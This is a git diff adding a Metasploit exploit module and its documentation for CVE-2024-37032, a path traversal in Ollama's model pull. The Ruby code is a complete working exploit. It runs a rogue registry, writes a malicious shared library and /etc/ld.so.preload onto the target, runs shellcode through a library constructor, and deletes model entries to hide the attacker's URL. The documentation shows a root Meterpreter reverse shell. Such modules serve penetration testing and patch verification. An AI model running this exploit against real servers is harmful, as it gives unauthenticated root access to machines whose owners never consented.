diff --git a/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md b/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md new file mode 100644 index 0000000000..d5da355d84 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ollama_rce_cve_2024_37032.md @@ -0,0 +1,93 @@ +## Vulnerable Application + +Ollama before 0.1.34 is vulnerable to a path traversal attack via the model +pull mechanism (CVE-2024-37032, "Probllama"). When pulling a model from an OCI +registry, the digest field in manifests is not validated - it accepts arbitrary +path traversal sequences instead of enforcing `sha256:<64hex>`. This allows a +rogue registry to write arbitrary files on the server. + +This module chains the file write into full RCE by writing a malicious shared +library and `/etc/ld.so.preload`, then spawning a new process via `/api/chat` +to trigger the dynamic linker to load it. The library constructor forks, cleans +up `ld.so.preload`, and executes the payload in the child process. + +The default Ollama Docker image runs as root with the API bound to +`0.0.0.0:11434`, making this a direct unauthenticated RCE. + +Successfully tested against Ollama 0.1.33 on Docker. + +### Install + +``` +docker run -d -p 11434:11434 --name ollama ollama/ollama:0.1.33 +``` + +Verify it's running: + +``` +curl http://127.0.0.1:11434/api/version +{"version":"0.1.33"} +``` + +## Verification Steps + +1. Start the vulnerable Ollama container +1. Start msfconsole +1. Do: `use exploit/linux/http/ollama_rce_cve_2024_37032` +1. Do: `set RHOSTS ` +1. Do: `set LHOST ` +1. Do: `set SRVHOST ` +1. Do: `run` +1. You should get a Meterpreter session as root. + +## Options + +### WRITABLE_DIR + +Writable directory on the target for payload files. Defaults to `/tmp`. + +### SRVHOST / SRVPORT + +The address and port for the rogue OCI registry. `SRVHOST` must be a routable +IP reachable from the target (not `0.0.0.0`). + +## Scenarios + +### Ollama 0.1.33 on Docker (Linux x64) + +``` +msf6 > use exploit/linux/http/ollama_rce_cve_2024_37032 +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/ollama_rce_cve_2024_37032) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 exploit(linux/http/ollama_rce_cve_2024_37032) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf6 exploit(linux/http/ollama_rce_cve_2024_37032) > set SRVHOST 172.17.0.1 +SRVHOST => 172.17.0.1 +msf6 exploit(linux/http/ollama_rce_cve_2024_37032) > set SRVPORT 8088 +SRVPORT => 8088 +msf6 exploit(linux/http/ollama_rce_cve_2024_37032) > run + +[*] Started reverse TCP handler on 172.17.0.1:4488 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Ollama 0.1.33 (vulnerable to path traversal) +[*] Using URL: http://172.17.0.1:8088/ +[*] Rogue OCI registry on 172.17.0.1:8088 +[*] Pull 1: 172.17.0.1:8088/haptic-driver/model (path traversal write) +[+] Payload .so and ld.so.preload written via path traversal +[*] Pull 2: 172.17.0.1:8088/wireless-protocol/model (registering trigger model) +[+] Trigger model registered +[*] Triggering RCE via /api/chat (spawning runner process)... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 172.17.0.5 +[+] Deleted /tmp/CEFMQeff.so +[*] Meterpreter session 1 opened (172.17.0.1:4488 -> 172.17.0.5:48630) + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 6078642134f2 +OS : Debian 12.5 (Linux 6.14.0-123037-tuxedo) +Architecture : x64 +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb new file mode 100644 index 0000000000..b6d2980857 --- /dev/null +++ b/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb @@ -0,0 +1,339 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasm' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + BLOB_CT = { 'Content-Type' => 'application/octet-stream' }.freeze + JSON_CT = { 'Content-Type' => 'application/json' }.freeze + MANIFEST_CT = { 'Content-Type' => 'application/vnd.docker.distribution.manifest.v2+json' }.freeze + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ollama Model Registry Path Traversal RCE', + 'Description' => %q{ + Ollama before 0.1.34 is vulnerable to a path traversal attack via the + model pull mechanism (CVE-2024-37032). When pulling a model, the digest + field in OCI manifests is not validated, allowing an attacker to inject + path traversal sequences to write arbitrary files on the server. + + This module starts a rogue OCI registry that serves two models. The first + pull writes a malicious shared library and /etc/ld.so.preload via path + traversal (a sacrificial first layer absorbs the digest verification + failure so the remaining files persist). The second pull registers a valid + model so /api/chat can spawn the llama.cpp runner process, which triggers + the dynamic linker to load the malicious library via ld.so.preload. The + library constructor forks, cleans up ld.so.preload, and executes the + payload in the child process. + + The default Ollama Docker image runs as root with the API bound to + 0.0.0.0:11434, making this a direct unauthenticated RCE. + }, + 'Author' => [ + 'Bill Demirkapi', # Wiz Research discovery + 'Valentin Lobstein ' # MSF module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-37032'], + ['URL', 'https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032'], + ['GHSA', 'v4cg-63r8-8fh8', 'ollama/ollama'] + ], + 'Platform' => %w[linux], + 'Arch' => [ARCH_X64], + 'Payload' => {}, + 'Targets' => [ + [ + 'Linux x64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64 + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => '2024-05-05', + 'AKA' => ['Probllama'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options([ + Opt::RPORT(11434), + OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']), + OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']) + ]) + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version')) + return CheckCode::Unknown('No response from target') unless res&.code == 200 + + version = res.get_json_document['version'] + return CheckCode::Unknown('Could not determine Ollama version') unless version + + return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34') + + CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)") + end + + def exploit + prepare_payloads + prepare_trigger_model + start_registry + + write_files_via_traversal + register_trigger_model + trigger_rce + end + + private + + # ---- Payload preparation ---- + + def prepare_payloads + @evil_namespace = random_model_name + @trigger_namespace = random_model_name + @so_name = Rex::Text.rand_text_alpha(8) + '.so' + @so_path = "#{datastore['WRITABLE_DIR']}/#{@so_name}" + @so_blob = generate_payload_so + @preload_blob = "#{@so_path}\n" + @dummy_name = Rex::Text.rand_text_alpha(8) + @dummy_blob = Rex::Text.rand_text_alpha(16) + end + + def prepare_trigger_model + family = Faker::Hacker.noun.downcase.gsub(/\W+/, '-') + @trigger_config_blob = { + 'model_format' => 'gguf', 'model_family' => family, + 'model_families' => [family], 'model_type' => "#{rand(1..70)}B", 'file_type' => 'Q4_0' + }.to_json + @trigger_model_blob = minimal_gguf(family) + end + + def random_model_name + "#{Faker::Hacker.adjective}-#{Faker::Hacker.noun}".downcase.gsub(/\W+/, '-') + end + + def generate_payload_so + sc = payload.encoded + sc_hex = sc.bytes.map { |b| '0x%02x' % b }.join(', ') + + c_code = <<~C + extern int unlink(const char *); + extern int fork(void); + extern int setsid(void); + extern void *mmap(void *, unsigned long, int, int, int, long); + extern void *memcpy(void *, const void *, unsigned long); + + unsigned char sc[] = { #{sc_hex} }; + + __attribute__((constructor)) + void init(void) { + unlink("/etc/ld.so.preload"); + if (fork() != 0) return; + setsid(); + void *p = mmap((void *)0, #{sc.length}, 7, 34, -1, 0); + memcpy(p, sc, #{sc.length}); + ((void (*)(void))p)(); + } + C + + Metasm::ELF.compile_c(Metasm::X86_64.new, c_code).encode_string(:lib) + end + + def minimal_gguf(arch = 'llama') + key = 'general.architecture' + val = arch + [ + 'GGUF', # magic + [3].pack('V'), # version + [0].pack('Q<'), # tensor_count + [1].pack('Q<'), # metadata_kv_count + [key.length].pack('Q<'), key, # key string + [8].pack('V'), # value type: STRING + [val.length].pack('Q<'), val # value string + ].join + end + + # ---- Registry server ---- + + def start_registry + start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } }) + print_status("Rogue OCI registry on #{srvhost_addr}:#{datastore['SRVPORT']}") + end + + def srvhost_addr + datastore['SRVHOST'] + end + + def registry_model_name(namespace) + "#{srvhost_addr}:#{datastore['SRVPORT']}/#{namespace}/model" + end + + def on_request_uri(cli, request) + uri = request.uri + vprint_status("Registry: #{request.method} #{uri}") + + body, headers = resolve_blob(uri) + send_response(cli, body, headers) + end + + def resolve_blob(uri) + return ['{}', JSON_CT] if uri =~ %r{/v2/?$} + return [evil_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest('{}'))] if uri.include?(@evil_namespace) && uri.include?('manifests') + return [trigger_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest(@trigger_config_blob))] if uri.include?(@trigger_namespace) && uri.include?('manifests') + + blob = find_blob(uri) + return [blob, BLOB_CT] if blob + + ['{}', JSON_CT] + end + + def find_blob(uri) + blobs = { + @so_name => @so_blob, + 'ld.so.preload' => @preload_blob, + @dummy_name => @dummy_blob, + sha256_digest(@trigger_model_blob).split(':')[1][0, 12] => @trigger_model_blob, + sha256_digest(@trigger_config_blob).split(':')[1][0, 12] => @trigger_config_blob + } + blobs.each { |key, data| return data if uri.include?(key) } + nil + end + + # ---- Manifest builders ---- + + def sha256_digest(content) + "sha256:#{Digest::SHA256.hexdigest(content)}" + end + + def traversal_digest(path) + "#{'../' * 14}#{path.delete_prefix('/')}" + end + + def oci_manifest(config_blob, layers) + { + 'schemaVersion' => 2, + 'mediaType' => 'application/vnd.docker.distribution.manifest.v2+json', + 'config' => { + 'digest' => sha256_digest(config_blob), + 'mediaType' => 'application/vnd.docker.container.image.v1+json', + 'size' => config_blob.length + }, + 'layers' => layers + }.to_json + end + + def oci_layer(digest, size) + { 'digest' => digest, 'mediaType' => 'application/vnd.ollama.image.model', 'size' => size } + end + + def evil_manifest + oci_manifest('{}', [ + oci_layer(traversal_digest("/tmp/#{@dummy_name}"), @dummy_blob.length), + oci_layer(traversal_digest(@so_path), @so_blob.length), + oci_layer(traversal_digest('/etc/ld.so.preload'), @preload_blob.length) + ]) + end + + def trigger_manifest + oci_manifest(@trigger_config_blob, [ + oci_layer(sha256_digest(@trigger_model_blob), @trigger_model_blob.length) + ]) + end + + # ---- Exploit steps ---- + + def pull_model(name) + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'pull'), + 'ctype' => 'application/json', + 'data' => { 'name' => name, 'insecure' => true }.to_json, + 'timeout' => 30 + ) + end + + def write_files_via_traversal + model = registry_model_name(@evil_namespace) + print_status("Pull 1: #{model} (path traversal write)") + + res = pull_model(model) + fail_with(Failure::Unreachable, 'No response from target') unless res + + if res.body.include?('completed') + print_good('Payload .so and ld.so.preload written via path traversal') + else + print_warning('Unexpected pull response (files may still have been written)') + vprint_status(res.body.slice(0, 500)) + end + + register_file_for_cleanup('/etc/ld.so.preload') + register_file_for_cleanup(@so_path) + end + + def register_trigger_model + @trigger_alias = random_model_name + remote_name = registry_model_name(@trigger_namespace) + print_status("Pull 2: #{remote_name} (registering trigger model)") + + res = pull_model(remote_name) + fail_with(Failure::Unreachable, 'No response from trigger pull') unless res + + if res.body.include?('success') + print_good('Trigger model registered') + else + print_warning('Trigger pull returned unexpected response') + vprint_status(res.body.slice(0, 500)) + end + + # Copy to a clean alias and delete the original to hide the attacker URL from /api/tags + ollama_api('copy', { 'source' => remote_name, 'destination' => @trigger_alias }) + ollama_api('delete', { 'name' => remote_name }, 'DELETE') + vprint_status("Model aliased to #{@trigger_alias}, original removed") + end + + def trigger_rce + print_status('Triggering RCE via /api/chat (spawning runner process)...') + + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'chat'), + 'ctype' => 'application/json', + 'data' => { 'model' => @trigger_alias, 'messages' => [{ 'role' => 'user', 'content' => 'hi' }] }.to_json + ) + ensure + ollama_api('delete', { 'name' => @trigger_alias }, 'DELETE') + vprint_status("Trigger model #{@trigger_alias} deleted") + end + end + + def ollama_api(endpoint, body, method = 'POST') + send_request_cgi( + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'api', endpoint), + 'ctype' => 'application/json', + 'data' => body.to_json, + 'timeout' => 10 + ) + end +end